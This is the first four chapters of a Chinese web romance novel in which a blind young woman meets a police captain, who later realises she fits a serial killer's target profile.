《对你心跳不止》
1. 01
《对你心跳不止》
文/冷不丁丁
2025/12/06
二零二零年。
六月,清晨的顾城,露珠隐退,空气中带着些许凉意。
小摊老板推着摊车分布在各个小区楼下叫卖。
池念被这叫卖声吵醒,灰蒙蒙的睁开双眼,微风吹起窗帘,一束刺眼的阳光让她再没困意。
姑娘摸索着起床,下意识去伸手抓自己的盲人杖。
这每天日复一日的流程她已经习惯了,她的动作行为没有那么生疏。
“念念,起床了。”卧室外面传来声音。
“哦,知道了奶奶。”她靠着盲人杖出门洗漱,“我已经起来了。”
只见和她同住的还有一位年迈白发的老人,已经贴心的为她准备好了早餐。
“念念,你今天要去医院检查眼睛,你又不让奶奶陪你去,自己一个人可以吗?”
池念听闻声音,稍偏了偏头:“可以的,咱们卫生间的水管坏了,您不是说人家过来修吗?如果家里没人,那就还要往后拖着了。”
“您不用担心我,这家医院我都去过好几次了。”
林霞放下厨房里的活儿,跟着她走到卫生间门口:“可是今天下了雨,你自己去我还真不放心。”
池念停顿,手里欲要挤牙膏的动作也停在半空:“今天下雨了吗?”
她刚刚还听到一群小商贩在街道上叫卖。
“是啊,雨下的不大,但是奶奶担心路面上滑,你的眼睛又不好,万一摔倒了也没人会帮你。”林霞满脸担心,但苦于自己又抽不开身。
“摔倒了我会自己站起来呀,我也不是小孩子了,奶奶您就放心吧。”她继续刷着牙,有些吐字不清。
尽管担心,但林霞没有继续追问。
池念自小乖巧,说话温柔,可上天还是对她不公平。
姑娘的动作行云流水,她用最温柔的态度去做着这熟悉的事情,反反复复。
“好了,我洗漱好了。”
池念说着边慢慢做到了桌前,她闻着味道,拿起了自己最喜欢吃的夹心芝士面包。
林霞坐在她对面,看着这样的池念,心理总会掀起一丝不忍:“你这孩子,从小就那么懂事,如果不是小时候经历的那场意外,你现在也是和其他人一样正常的生活。”
“可怜你爸爸最后也没能保护你,自己还……”
随着上了年纪,林霞总是不经意间回忆起那段不堪的过往。
像是梦魇般困惑着她。
池念的声音奶声奶气:“那都是过去的事了,您看我现在过的也一样很好呀,我会永远和奶奶在一起,这样就很幸福啦。”
“小丫头,光陪着奶奶可不行。”她将牛奶递到她的手边,还小心的用水杯碰了碰她的手背示意,“我们念念以后会长大,长大要嫁人的哦。”
“不嘛,我要一直跟奶奶在一起。”
“那可不行,奶奶会保护念念,但不能拖累念念,我们丫头会遇到一个很好的人,然后和他幸福的过完一生。”
池念今年才十八岁,她不理解奶奶口中的很好的人会是什么样的人,也不懂什么是幸福。
在她的理解中,和林霞现在的日子就是幸福。
几分钟后,池念带上雨伞,挎着一个包包准备出门。
林霞再三叮嘱路上小心,姑娘笑脸回应后便出门了。
踏出楼道后,她才听到细微的雨滴声,朦胧的小雨被商贩的叫卖声所覆盖,难怪她刚才在房间里没有听到。
这条路她走过很多年,已经很熟悉。
姑娘从包里掏出雨伞,小心的一手拿伞一手拿盲人杖。
她看不见,听觉和嗅觉就变得格外灵敏。
她独自一人来到一所公交站旁,但公交站避雨的地方已经被人站满,她没有位置了。
此刻,雨下的足以压倒路旁的小草。
池念心里还在庆幸:还好听奶奶的话带了雨伞。
小姑娘和那群争着在站旁躲雨的路人格格不入,她穿着一身天蓝色的连衣裙,和其他打伞的路人站在一旁,似是这人群中的天使。
天气逐渐变得朦胧,乌云逐渐压下来,整座城市陷入一种雾霾状态。
降低了所有人的视线。
而这对于池念来说,却是每天的状态。
“哎?公交来了公交来了!”人群中有人喊道。
“快上车快上车。”
在这本就下雨路滑的天气里,面对人挤人的场面难免会有人摔倒。
池念知道自己的情况,吓得离他们很远很远。
直到所有人都上了车,她才战战兢兢的想要靠近。
谁知就在此时,远处向她跑过来一名男子,这人有大道不走,偏偏要往这犄角旮旯里窜。
池念还没来得及了解情况,便被冲过来的男人一把推到在地,而他身后还跟着一个身手不亚于刚才这人的男人。
“啊——”
推人的人即刻逃离现场。
“站住!别跑!”后面的男人紧追不舍。
两人在这条马路上你追我赶。
池念的身子很轻,被人用力一推就推倒在地,摔倒的方向碰巧阻挡了后面男人的路。
姑娘听见脚步声,以为撞得人是他,出于礼貌,她主动道歉:“对不起,我不是故意的。”
男人眼神凶狠,仿佛他才是那个恶人:“哪儿来的小瞎子,碍事。”
他躲开她继续朝前奔去。
仅是耽搁一会儿,当男人再追过去时,前面的人早就没了身影。
此时的公交车已经人满开走,只有池念一个人摔倒在雨泊中。
想追的人没追上,此刻男人心里压着满肚子火。
他头发身上全是湿的,为了追刚才的人,此刻身上没有一处干净的地方。
池念看不见他的样子,但听他的语气也知道对方不好惹,她下意识的往回缩了缩身子。
刚才被那人推到,池念出门穿出来的蓝色裙子此刻已经被雨水浸透,她在雨中盲目摸索自己的盲杖。
这一幕被男人看在眼里。
雨水不断拍打他们的脸,显得格外狼狈。
男人的眼神与雨水交融,透露着冰冷感,他慢步来到她身边。
本来积累的怒火无处宣泄,看到这样的女孩他还是强迫自己放温柔语气:“没事吧?”
“没事,实在是抱歉。”
“不是你的错。”他不知从哪冷不丁冒出这样一句话。
雨还在下着,池念将被扶好的胳膊收回。
见她对他抱有防备,男人扫视周围,将地上的盲人杖帮忙捡起:“这是你的。”
她小心翼翼的接过来:“谢谢。”
声音温柔娇嫩。
池念低着头。
怎么办,不说话感觉好尴尬啊
可是这个人好凶。
“老大!”远处的声音贯彻在雨中,夹带着隐约传来。
“怎么样,抓到人了吗?”来人问。
男人脸色不好,对方一看也知晓缘由。
“哎,怎么有个小姑娘?”来人很有眼力见,“下着雨,干嘛让人家姑娘在雨里站着,洛队,你也太不体贴人了。”
说着就连忙将人扶到遮雨的站牌旁。
男孩积极开朗的心态让池念有了些好感,至少会让人觉得亲近:“谢谢。”
“不客气,我们老大情商低,你别介意。”
“嗯。”
池念性格本就偏内向,因为眼睛的问题,她很少出门。
男孩看出她的担忧,急忙解释道:“你别害怕,我们是警察,顾城公安局的。”
他撇了眼一旁的冷脸男人:“刚刚那个是我们洛队,叫洛景之,我叫张三,就是张三李四的那个张三哦。”
池念点点头。
原来他叫洛景之。
聊了这么几句,男孩也注意到她的眼睛,以及她手里拿着的拐杖,瞬间明白什么。
他放慢语速问:“你叫什么名字?”
“我叫池念,池水的池,想念的念。”
“好温柔的名字啊,名字简直跟你本人一样哎。
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”
洛景之在旁边听的一脸无奈:“有完没完?”
张三急忙闭嘴:“哦,完了。”
三人头上似是飞过一排乌鸦。
不要啊。
不说话的话就更尴尬了……
池念的衣服已经湿透了,她总共就穿了一条裙子,被人推倒在雨泊里已经湿的不成样子了。
像只落汤鸡。
上午的天被乌云压得像是擦黑的下午。
本以为要在这儿等到雨停,这时迎面开过来一辆车,灯光一打,两人难以睁开双眼。
唯有池念对此无动于衷。
一辆响着警鸣声的车子停在他们跟前。
车窗被人放下:“还走不走?!”
洛景之没理人,但也没动。
张三认真瞅了一眼,惊喜道:“林南?你来的还真及时啊。”
“不走我走了。”
他笑着迎上来:“走走走,马上上车。”
男孩在队里一般就是洛景之的下手,走之前肯定不能忘记他:“老大,你不上车吗?”
洛景之回应:“你们先走吧,我一会儿回去。”
张三一愣,而后看到池念才快速反应过来:“哦,收到!”
林南驾驶警车离开。
黑云压得整座城市像是一副水墨画。
地面已经被雨水打湿,还激起了水洼,此时的马路上一个人都没有。
池念看他许久没有要离开的样子,她壮着胆子主动问:“你不跟他们离开吗?”
“我一会儿还有别的事要去办。”他此刻调整了自己的态度,变得温婉,“你一会儿要去哪儿?”
姑娘双手握着怀中的盲杖:“要去顾城医院。”
“嗯,正巧,我要办的事也在那附近。”
池念:“……”
这话换谁听都是满满怀疑感。
池念没想到他会说这样的话,她以为,他们会这样分开离去的。
他接下来不会是要说,跟我一起去吧?
“我们一起去吧。”洛景之说。
“……”
果然在她刚萌生出这样的想法,就听到对方这句话。
池念凝神听了听周围的声音,没有说话声,没有脚步声,甚至连汽车碾过路面的声音都没有。
姑娘皱着的眉头忽而消失。
他是担心在这样的雨天我会出事?
所以才会提出要跟我同行的。
他嘴上不提,心里确实是这样想的。
洛景之冷冷道:“池念。”
她错愕的抬头:“嗯?”
“走吧。”
“可是现在还在下雨,我们去哪儿?”
洛景之观望不远处,确认位置后又有底气道:“过了前面那条街就是主路,那条路上应该会有出租车。”
“局里的车被他们开走了,我也没有别的代步工具,只能打车过去了。”
“我其实可以自己去医院的。”她主要就是想表明自己可以,不用他陪着。
不管他是真的顺路还是假的顺路,她都要表达出这个意思。
明明对方是警察,和这个人走在一起应该感到有安全感才对,可池念却恰恰相反。
“刚刚那个嫌疑人不知道还会不会回来,如果他要是在这样的天气下遇到一个你这么单纯的女孩,你觉得……”
“……”
“我……我……”
“你如果执意要自己一个人去的话,我也不勉强,那我就先走了。”洛景之一副欠收拾的模样。
“等等。”
男人停下脚步,嘴角露出丝得意的笑。
姑娘小巧的身躯站在他身后被遮挡的掩饰。
池念知道自己的情况,别说自己看不见,就算看得见,也不一定能够逃脱那些人的手掌。
洛景之的话让她心底泛起丝丝恐惧:“那就麻烦你陪我走一趟了。”
“这么不情愿。”
姑娘接的快:“没有不情愿的。”
“那就走吧。”
“好的。”
2. 02
虽然池念眼睛看不见,但她也不习惯依赖别人,出门办事情也是自己一个人出去。
她手机里装了盲人辅助的语音系统,手机仿佛成了她的宠物,她出门也方便。
但这些在洛景之看来似乎不存在,他还是觉得姑娘家一个人出门始终不安全。
他站在自己的角度考虑事情,毕竟坏人还是有的。
洛景之替她撑起伞,他个子高,像是给一个孩子撑了把伞。
相比之下,池念仅到他肩膀。
上午的雨竟莫名的起了风,洛景之的身高偏巧替她挡了雨。
男人故意将伞放低到适合她的位置,自己头已经顶住顶端。
“谢谢你,洛警官。”
“……”
这个称呼从这小姑娘嘴里喊出来怎么感觉……
他愣了一秒,而后继续搭话:“谢我什么。”
姑娘在他看不见的地方笑着:“谢谢你把伞打的离我很近。”
这样她才没有被淋到。
“你知道?”他问。
明明她眼睛看不见的。
“嗯,我能感受到。”她边说边走,步子很缓慢。
下雨天她不敢走的太快,怕滑倒。
可她也能感觉到,洛景之这样高的人,他的腿也一定很长,所以他正常的走路速度一定不会像现在这样。
池念心思细腻,尤其像她一样眼睛看不见的人,有些事她要比别人敏感的多。
她知道,洛景之耐着心陪她这样慢慢走着,也能看出他是个本身就很好的人。
谁也不会拒绝这样一个自身散发温暖的人。
而池念这些年除了奶奶,收获最多的就是来自陌生人对她的同情。
“别叫我洛警官了。”
他手中的伞朝她偏向几分:“我有名字。”
“好的。”她的声音奶声奶气,像只小奶猫。
洛景之以往认识的、接触的人大部分都是可以生擒逃犯的男生女生,都是战斗力很强的伙伴,反倒是极少能够遇到像池念这样的小奶猫。
这样的人,应该要像花骨朵一般被保护在手心的。
至少。
他是这样觉得。
“只是,这样会不会不礼貌?”
他问:“什么?”
“我不知道你多大,直接喊名字好像有点不太礼貌。”
“我今年25。”
他又问她:“你多大。”
池念的声音还是那样好听:“我有20岁了。”
洛景之听完似是仔细端详了会儿,又郑重道:“哦,那确实不太礼貌。”
“嗯。”
“但如果你直接叫我洛警官的话,别人就会知道我的警察身份,你说怎么办?”
“我……”
这确实是个致命难题。
看她当真思考起来,反倒有些可爱:“继续叫洛景之吧,先这样叫着,以后有机会再改。”
他们只是萍水相逢,相遇只是偶然,下次或许就不会遇见了。
两人并肩而行,为打破这尴尬的局面,只能由洛景之主动找找话题:“你平时经常一个人出门?”
池念手上的盲杖也不断摸索前路:“是。”
“也是一个人住吗?”
“不是。”
池念觉得有些好笑:“你好像是在审犯人。”
她的话让他意识到不妥:“对不起。”
“没事,我不介意。”姑娘笑了,连眼睛都是弯弯的。
池念不是那种绝美的长相,她才十八岁,正处于清冷貌美的年纪。
她不会化妆,也没办法化妆。
这幅面孔是天然美,空气刘海的加饰让她更加清纯。
这样一个可爱甜美的乖巧女孩形象,会吸引绝大数人的目光。
“这样说话习惯了。”他还刻意解释,“一时间还改不过来。”
池念当然不会介意:“我和奶奶一起住。”
“那你比我幸运的多。”
“嗯?”
“我一个人住。”他漫不经心道,“所以觉得没意思了就去局里和同事一起住。”
他们说话期间就来到了这条主路。
洛景之见车挥手,终于有辆出租车冒雨停在他们跟前。
因为下雨,很多车子不跑了,只有生活条件艰难的个别司机不畏风雨的工作。
“去哪儿啊年轻人?”车里司机将车窗降下来,“先上车!先上车!雨快下大了。”
司机根本没给他们说话的机会。
洛景之打开后座车门,护送池念坐进去,才自己坐在了副驾驶位置。
“师傅,去顾城市医院。”洛景之说。
“好嘞。”
一路上雨越下越大,坐在车里听着外面的雨声让池念心里不安。
这么大的雨,奶奶会担心我的。
还是给奶奶报个平安比较好。
她心想着,但和陌生人说话有些社恐,池念伸手扯了扯坐在副驾驶的洛景之。
洛景之回头看向她:“怎么了?”
“我想给奶奶打个电话,想问问你们介不介意。”
“不介意,你随便打。”
他甚至都没过问司机的意思。
但既然这么说了,如果司机师傅介意,应该也就主动提出来了。
想到这儿,她从背包里掏出手机轻唤道:“七七。”
【你好主人,有什么需要请跟我说。】
“帮我给奶奶打通电话。”
【好的,正在为您接通通讯录‘奶奶’】
她这行云流水的操作,让洛景之觉得很巧妙。
看着她这熟悉的操作,想来也是用了很久已经习惯了。
那她的眼睛又是怎么看不见的……
作为一种职业病,洛景之习惯了了解事情发展的背后原因,也习惯了问为什么。
“喂,奶奶,我是念念。”
电话那边的人说话很心切:“念念啊,你有没有淋雨啊,现在雨下的这么大,你先找个地方避雨知不知道?”
“我知道的奶奶,我现在在出租车里,一会儿就可以到医院,您不用担心。”
“好好,你注意安全啊念念,我们随时联系啊。”
“好。”
挂了电话,池念又小心装起来。
她所有的动作看上去那么谨慎,也是来自内心的不安。
三个人的车里不找点话那就更尴尬。
司机看上去像是四十多岁,看着他们这样的小情侣也是满心羡慕。
他打趣道:“帅哥,你女朋友脾气真好,你不坐在后面陪她,人家都不介意。”
洛景之:“……”
池念:“……”
这话引得他们更加尴尬。
看出小姑娘脸皮薄,洛景之故意接话:“你误会了师傅,这是我女儿。”
司机:“?”
池念:“?”
司机忙着接话,不让话题落空:“啊,原来是我误会了,想不到你年纪轻轻就有个这么大的女儿了,真是年轻有为啊。”
“还行,女儿是老三。”
这话噎的司机不知道该回什么。
池念在一旁听的心惊胆战。
为防止他再语出惊人,她只好撇开话题:“司机叔叔,我们什么时候到市医院呢?”
“还得需要十分钟。”
“哦,好。”
期间,洛景之手机不断发出消息提
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示,想来是有事。
他没再说话,专心看起手机微信。
张三:【号外号外!天大的消息!】
群里其他人:【什么消息,说来听听。】
张三:【今天出任务的时候,老大被一个小姑娘给拐跑了,人家姑娘长得可水灵了,不得不说,老大的眼光很不错。】
其他人:【真的啊。洛队这棵千年不吸人间烟火的人参终于要开花了啊?!】
其他人:【就是就是,这些年别说跟女人待在一块儿,连只母苍蝇都没见过。】
其他人:【提问,你怎么知道那个苍蝇是母的?】
其他人:【我只见过他很女尸体在一块。】
林南:【我作证,张三的话是真的!】
其他人:【啊啊啊啊啊啊!】
洛景之:“……”
他有种想冲进屏幕将他们撕碎的爆发感。
看着群消息那红圈圈里的99+,洛景之的气就不打一处来。
他在按键上随手打了一行,发送:【今晚回去,赏你们守在尸体边上吃饭。】
第一个回复的是张三:【老大,我错了。】
其他人:【洛队,我们也错了。】
……
一句话,才让这工作群里老实下来。
当他再回头注意到池念时,她正在收拾自己那湿透的裙子。
此刻的出租车里正开着冷气,刚上车的时候许是刚打开,他们并未察觉,开了一会儿他才注意到这点。
想到人家姑娘刚才被推倒在水坑里衣服全都湿透的样子,却是可怜。
如果他再不管她。
她大概。
会哭吧。
这些只是洛景之的猜测,但考虑到她可能会感冒,于是主动让司机管了车内空调。
“师傅,麻烦您把空调关一下吧,她衣服湿了,再吹下去可能会感冒。”
司机十分热情:“行嘞,好说好说。”
“有您这么贴心的爸爸,您姑娘真是幸福。”
好像越描越黑了。
池念在后座听着这对话,根本不知道从哪儿解释。
只好默默的独自坐在角落。
洛景之没再说话,似乎默认了这层身份,他从反光镜里注意着她的举动,小姑娘这点一只,让人忍不住想去格外注意她。
十分钟后。
车子到达市医院,雨滴逐渐变小,洛景之拿着雨伞为她打开后座的门。
男人庞大的身体许得弯下大幅度腰来为她撑着伞,池念一手握着盲人杖,另一只手扶好将要下车,没想到一只有温度的手心握住她的右手。
池念有些害羞,她还没有这样握过男人的手。
而对洛景之来说,这是他第一次正眼注视她的五官,他思绪放空几秒,但很快回神。
司机师傅朝他们嚷:“年轻人,车上没有您的贵重物品了吧,下车要检查清楚哈。”
“没有了,辛苦了师傅,钱已经付过去了。”
“好嘞,您慢走。”
池念站稳脚跟,急忙将手缩回来。
她隐约感觉到洛景之还在为她打着伞,姑娘又道:“谢谢你为我打伞,我已经到了,就不打扰你了,也谢谢你特地送我来医院。”
“这么快就过河拆桥了?”
姑娘没说话。
“我是顺路,不是特地。”男人总要维护一下最后的尊严,“还有,你这一路上不知道说了多少个谢谢了,能不能换一句。”
他歪了歪头,居高临下的打量她:“比如,赶紧去检查之类的。”
池念吞吐道:“哦,那我就先走了。”
“哎?”他说,“一起去。”
“我自己可以……”
3. 03
医院眼科就诊室里。
小姑娘掏出自己的身份证,以及上次治疗的结果递给医生。
洛景之无意瞄到一眼她的身份证。
2000年……
还真是不大的小姑娘。
医生用一种她看不懂的仪器帮她扫描了眼睛,她乖乖的没动。
洛景之在一旁等着。
一会儿功夫没看手机,此刻的微信群又炸了锅。
还是那批人,还是那件事。
洛景之懒得理,因为就算解释了他们也不会相信。
“好了。”年轻的女医生说。
她边说边坐回到自己的位置写着什么。
洛景之听到声音后也忙凑过来。
“经过这几次检查,你的眼睛已经在慢慢康复中,从之前的失明到半失明状态,这段时间修养好的话,不出半年就能复明。”
池念礼貌的道谢:“我知道了,谢谢您了医生。”
“不客气。”女医生扫视一眼身旁的洛景之,又道,“有你男朋友照顾也放心,先前看你和你奶奶过来多少有些不方便,老人年纪大了记性不好,你的眼睛也看不见,现在有个男朋友照顾就好多了。”
“我,我们不是……”她欲要解释。
“不是男女朋友。”这话被洛景之抢先说了。
这情况也让女医生觉得奇怪:“不是吗?我看你刚才一个劲的往这边看,还以为是关心她。”
洛景之解释:“您误会了。不是那种关系。”
女医生笑道:“好吧,是我误会了,不好意思。”
走出就诊室,洛景之还是跟在她身后。
他是不想管着闲事的,但纯纯是职业病作祟。
池念在旁边听的心惊胆战,就怕他万一再冒出一句是他女儿之类的话,那她真的圆不过来了。
医院声音嘈杂,不像在出租车上那么安静,倒也不显得冷清。
两人走在医院的走廊上,看这身高差,倒真像是一对父女。
池念被他带走思路:真是的,你在想什么啊池念。
姑娘边走边说着:“真是对不起,给你添麻烦了,我耽误你抓坏人了,还辛苦你陪我来这里一趟。”
他冷冷答:“没事。”
洛景之说话一向这样,或许因为性格本就孤僻强势,说话态度一向如此。
“或许你们可以去南边搜查一下。”她说,“刚才他在逃跑的时候,我闻到他身上有异常的花香,顾城南边方向有几家花店,而且他刚才不就是朝南边跑的吗,你们可以去找找。”
她的声音犹如芭比公主一般细柔。
而如今却是用最温柔的语气说着最理智的事情。
这样的女孩显得格外与众不同。
而洛景之是真的没有见过这样的姑娘。
他不敢相信一个小姑娘能了解这些,而且分析的很到位。
洛景之问:“你怎么知道他是朝南边跑的?”
“声音。”
“你,听到的?”他有些不敢置信。
姑娘点点头:“嗯。”
想到她刚才的分析,洛景之只见过警局一些专业人员才可能这么擅长分析。
池念这样一个小姑娘却有这样的本事:“雨水一般会洗涤掉很多证据,他只是推了你一把的功夫,你就能判断出他身上的特征?”
池念边走边说着:“我爸爸也是一名警察,所以有些刑侦细节我会知道的多些。”
“那,他身上的花香……”
“闻出来的。”
“……”
洛景之轻笑一声,刮目相看。
这简直堪比一级警犬,还是会分析的警犬。
他们出医院时,雨渐小。
洛景之重新打了车,没多久便送池念回了自己小区楼下。
这家小区也是有很多年了,外观看上去不新,雨水冲刷的墙面已经掉了色,看上去有些破旧。
洛景之大概也能判断出来。
他们家生活条件一般。
“我送你上去。”
“我自己可以的。”
“……”
见她处处防备,他也没再多说什么。
而后池念又小声道:“我家是步行梯,上去会很累,就不留你吃饭了,如果还有机会再见,欢迎你来我家吃饭,洛景之。”
姑娘眯眼微笑着。
这是她主动对他笑。
洛景之一时看呆,竟冷不丁冒出一句“嗯。”
-
下午,顾城公安局。
几人再厅里聊得不亦乐乎。
在群里被禁了言,几人只好齐聚在大厅。
其中一人主动问:“你们觉得咱们洛队是不是看上人家姑娘了?”
“不能吧?”张三不知从哪儿揪了个香蕉吃起来,“人家姑娘看着很小的一只,人畜无害,不食人间烟火的感觉,最关键的是,人家年纪看着就很小。”
“这样啊,那好像就不太可能了。”那人又回,“洛队今年都二十五了,再恨嫁也不能畜生到去残害人家小姑娘吧?”
林南随便说:“附议。”
“可是话又说回来了,洛队对人家没意思,干嘛还要去做这护花使者?”
“也可能,出于爱心?圣母心泛滥?职业病?”那人说的有头有尾,“照我说,这就是一场最普通不过的好人好事,洛队之前帮的人还少吗?”
这话引得张三好奇。
他才来局里不久,这些事自然没听说过。
于是赶紧凑过来:“啊?洛队之前经常做这种好人好事吗?”
“是啊,好心出了,好事做了,最后还落个埋怨。”
“怎么回事?”
“就是每次做好事的时候都板着张脸,搞得人家欠他钱似的。”
“同意,也许真的就是简单的好人好事,只不过从前没帮助过年轻漂亮的妹妹。”那人继续说,“洛队要是想找对象的话早就找了,不至于拖到现在。”
“也是。”张三笑道,“我觉得老大跟陈警官就很合适。”
一旁的陈佳佳听到消息闻声而来:“别带上我啊,你们想死,我还想多活几年。”
话音刚落,几人猛然注意到刚进来的洛景之。
刚才还你一言我一语的聊得火热,此刻竟鸦雀无声。
知道做错事,众人齐刷刷的低头干着自己的事。
陈佳佳小心的从他身边绕过去,像是躲瘟神一样。
洛景之多数都听到了,现在这张脸确实难看:“守着尸体吃饭还不长记性是吧?”他怒道,“要不再背着它围着警局跑几圈?”
“不不不。”
“这次是真错了。”
没有人敢说其他。
“洛队,你这要求,恐怕没有家属会同意吧?”
只有这句声音在大厅里格外引人注意。
林南天不怕地不怕的精神这里无人能及。
“啧——”洛景之杀人般的眼神看向他。
林南:“我闭嘴。”
“一个个整天没事干在这儿嚼舌根?!我看就是平时对你们太放纵了。”洛景之一把将手上的文件拍在桌子上。
他脾气不算好的,有时候被案子逼得头疼的时候就发泄一顿。
这次他们是撞在枪口上了。
几人互相使眼神,看看谁能上去安慰安慰。
但貌似,谁都没这个胆子。
“什么事啊这么动怒?”只见进来一位四十多岁的男人,他鬓边多了几根白发,显然是他们这里年纪最大的。
他顺手丢给洛景之一个苹果:“吃个苹果,消消气。”
张启明是他们这个小组的法医,专门负责尸检。
看在是张启明的面子上,他才勉强接过来,转身又问:“案子有什么进展了?”
陈佳佳说:“有。”
“办公室开会!”
众人:“……”
这起案子是一起连环杀人案,已经折磨他们很多天了,却
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始终没有进展。
陈佳佳的本科主修犯罪心理学,对于犯罪推理她很擅长。
办公室内,多媒体屏幕上展开许多物证资料,而具有可疑性的已经被洗成照片贴在一处黑板上,方便他们构思联想。
洛景之往主位一坐,认真道:“什么进展?”
“我们目前找到的这三具尸体,分别是陈一红,何云,林小蝶,这三位死者的死确实没有相同的地方。”
陈佳佳分析着:“可我们却忽略了一点,或许凶手就是故意选择不规则的作案。”
“你是说凶手故意在随便杀人?”
陈佳佳说:“不一定,完全没有联系的三个人,这对凶手来说更像是一种刺激,也是一种挑战,他在不断的杀人中获得刺激,又在与警方的周旋中满足挑战。”
她的话让洛景之陷入沉思。
张三半蒙半懂,嬉笑着说:“我们想听关键,不想知道凶手想要什么。”
“这你就不懂了吧,在犯罪心理学中,要想进一步了解案情,就得带入角色,必须要去了解凶手犯罪时的心理活动,才能知道他想要的是什么,我们才能对症下药。”
陈佳佳跟他解释这么多,不知道他听进去多少。
“继续说。”洛景之道。
“这凶手作案就好比是,找规律填空。”
林南主动问:“什么意思?”
而座位上的其他人也同样用种疑问的眼神看向她。
陈佳佳起身来到大屏幕前,慢慢解说。
“你们想,陈一红,五十岁。何云,四十岁。林小蝶,三十岁。”她边说边有针对的指向她们的年龄数字。
“这三名死者之间没有任何联系,社会关系也很好,家庭职业也不同,被害手段都不一样,这凶手难道真的是胡乱杀人吗?我们忽略的到底是什么。”
她将这起案件推至疑点:“经过昨天我反复查看研究,你们猜,是什么。”
众人的眼神凝聚到他身上。
“是年龄。”洛景之率先道。
“年龄?”张三不解。
“对,还有性别。”陈佳佳说,“凶手享受杀人的快感,尝试杀害不同年龄阶段的女性,这是典型的社会报复型人格。”
“五十,四十,三十。”
张三自言自语的念叨:“找规律,杀人,我明白了!”
忽然,他顿悟道:“那如果真是这样的话,凶手下一个要害的人是二十岁的少女?!”
陈佳佳肯定道:“没错,而且还是漂亮少女,我猜,凶手一定在她们(漂亮女性)身上吃过亏。所以专门杀害这些漂亮女性引起警方的注意。”
洛景之随后便下达命令:“赶紧排查,查一下顾城附近的二十岁姑娘的信息。”
随后又补充说:“着重注意那种势力薄弱的女孩。”
陈佳佳应道:“好,我马上去查。”
出警的事情不会让她做,她只负责内部工作。
他又意识到:“这三起命案发生的地点也不同,但既然都是发生在附近,那凶手很有可能住在附近,这样杀人之后才能第一时间逃离案发现场。所以咱们最好将警力放在附近的女孩身上。”
“嗯,我去安排。”
瞬间,办公室的氛围陷入紧张状态。
“这不就是心理变态吗?”张三忍不住咒骂,“自己吃过亏就要让别人也付出代价,这人也太变态了。”
“不变态怎么会犯罪呢。”林南说,“你还是太小了,没见过什么世面。”
“得亏我没见过见面,不然要被这些人恶心死。”
张三满脸都是厌恶:“竟然还想对二十岁的姑娘下手,简直是,畜生不如!”
“他们这些心理扭曲的人,什么事都做得出来,别说是二十岁……”
二十岁……
张三骂的不爽,忽而见他停住,忍不住又问:“老大,你怎么了?怎么不继续说了?”
洛景之突然想到什么,惊叹道:“不好!!!”
4. 04
他随后也来不及解释,快速冲下楼去开车。
张三朝他喊:“你去哪儿啊老大?!”
“别废话,一起走!”
“哦哦哦。”张三拉上林南一起冲出去。
他们出警一般都会带上林南。
这哥的实力很强,一对五。
洛景之一路上心跳加速,警车不断穿梭在车辆中,甚至不顾红绿灯。
而他们开的警车闯红灯,一路上没有车子敢挡。
凶手下一个的目标是二十岁的姑娘。
那池念有危险!?
他那会儿突然回想起池念身份证上的出生日期。
二零零零年。
到今年不就是正好二十岁吗?!
她说和奶奶一起住。
这对凶手来说绝对是最好下手的,她们根本没有抵抗力。
洛景之的心悬在半空。
不会那么巧,不会那么巧。
上午送她回去洛景之并没有上去,他不知道池念的家是哪个楼层,没办法,他们三个人只好一间一户开始排查。
直到五楼的时候,他们正常排查。
张三按响门铃:“您好,请问有人吗?”
“有,您稍等一下。”
声音是位年迈的老妇人。
随后,门被打开:“请问有什么事吗?”
“奶奶您好,我们是警察。”张三亮出证件,“请问这是池念家吗?”
林霞看了看他们,最终点点头:“是啊,念念她犯了什么事吗?她是个很好的孩子,她不会做违法犯罪的事,是不是你们搞错了警察同志?”
说话谈吐间,林霞满脸担忧已经表现的淋漓尽致。
“奶奶您放心,池念没有做错任何事,我们来就想告诉您一声,最近外面不安全,你们还是要少出门,安全才是第一位。”张三说。
洛景之瞧了瞧屋内,没有看见她人,直接问:“请问您,池念在家吗?”
“在的,念念在自己屋里。”
“我方便跟她说几句话吗?”
“方便。”林霞有些担心,而后又嘱咐说,“念念胆子小,麻烦几位警察同志说话的时候不要吓到她。”
“好。”
屋里地方不大,却很温馨。
桌子上整理的很干净,桌上的照片是他们一家人拍的。
听见动静,池念从自己屋里走出来,她身上的睡裙还没换,可可爱爱的猫咪睡裙上还绑着个蝴蝶结,很萌很漂亮。
“奶奶,出什么事了吗?我们家来客人了吗?”她柔柔弱弱的声音还是那样好听。
“实在不好意思,我刚刚在睡觉,没有听见。”
“没关系。”洛景之答。
只听闻声音,池念便认出这是上午陪她去医院的那个男人。
她瞳孔微缩,视线未动,于是缓缓道出一个名字:“你是,洛景之?”
他笑了,没想到她还记得他:“是我。”
“真的是你?”池念急忙道,“奶奶,这就是我跟你说过的,上午陪我去医院,然后送我回来的那名警察。”
“啊?原来是这样。”林霞热情的招待,“太谢谢您了警察同志,多亏您亲自送念念回来,否则她一个人一定不安全,你们先坐下,吃完饭再走啊。”
张三强颜笑着:“不,不用了奶奶。”
“我能单独跟池念说几句话吗?”他问。
“可以可以。”林霞听说是他送孙女回来,心里也就卸下了防备。
洛景之把池念叫到一旁,反而一改刚才的温柔:“池念,我接下来说的每句话你一定要记住。”
“好。”她虽然不知道是什么事,但听他的语气也能明白事情的重要性。
于是她没再多问。
“你听我说,我们正在调查一起连环杀人案,凶手的作案手段非常残忍,根据我们排查,现在猜测凶手的目标是二十岁的小姑娘,而你今年正巧是二十岁,所以也有一定的危险性。”
他焦急地嘱咐着:“你家里准备好一些防身的物品,我们也会派出警力在楼下监视,但最重要的是你自己保护好自己,这些都听清楚了吗?”
池念稍作思考,很快她回答的肯定:“听清楚了。”
洛景之没想到她会干脆果断的回答这三个字。
这样大的姑娘应该会害怕,应该在被通知即将面临死亡的时候感到恐慌。
而不是像她这样如此淡定的回答这三个字。
“你,怕不怕?”他凝视着她的眼睛问了句。
她笑道:“不怕。”
别人可能会怕,但她不会。
因为池念小时候已经经历过一次。
那一次,她差点失去生命。
“你知道自己即将面对的是什么,不管怎么样,你都要学会保护自己,知道吗?”
“你……”她对他的话倒是感到意外,“为什么要对我说这些?”
反观洛景之的话才让她觉得不应该是一个警察对她说的。
这很亲近。
更像是朋友间的嘱托。
他没辙,似是在为什么寻找借口:“我们好歹认识一场,也算是朋友,出于对朋友的关心,忍不住多说了几句。”他转移着她的注意。
“哦。”姑娘很好糊弄,他说什么,她倒真信了。
池念又问:“那我跟你说的,你们有去南边的花店去找了吗?”
洛景之说:“找了,他确实在那边住过,但作案之后就一直在换地方,我们去到那里的时候就没发现人。”
